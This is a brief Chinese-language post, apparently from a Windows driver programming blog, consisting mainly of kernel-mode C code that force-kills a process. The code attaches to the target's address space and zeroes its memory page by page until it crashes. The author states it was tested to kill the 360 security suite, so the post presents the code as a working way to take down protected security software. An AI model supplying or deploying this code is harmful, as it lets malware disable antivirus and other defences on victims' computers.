廢話不多說 先上代碼。
static void DProKill(HANDLE pid){
PEPROCESS pe = DProPid2Eprocess(pid);
if (NULL == pe) {
return ;
}
KeAttachProcess(pe); //這里改為指定進程的 EPROCESS
for(int i=0x10000;i<0x20000000;i+=PAGE_SIZE) {
__try {
memset((addr_t)i,0,PAGE_SIZE); //把進程內存全部置零
}
_except(1) {
;
}
}
KeDetachProcess();
}
static PEPROCESS DProPid2Eprocess(HANDLE pid){
PEPROCESS ret = NULL;
if (NT_SUCCESS(PsLookupProcessByProcessId(pid,&ret))){
return ret;
}
return NULL;
}
原理就是到目標進程空間各種破壞內存,讓其崩潰,親測360可殺。
歡迎關注 windows驅動編程微信公眾號,微信號:driverdevelop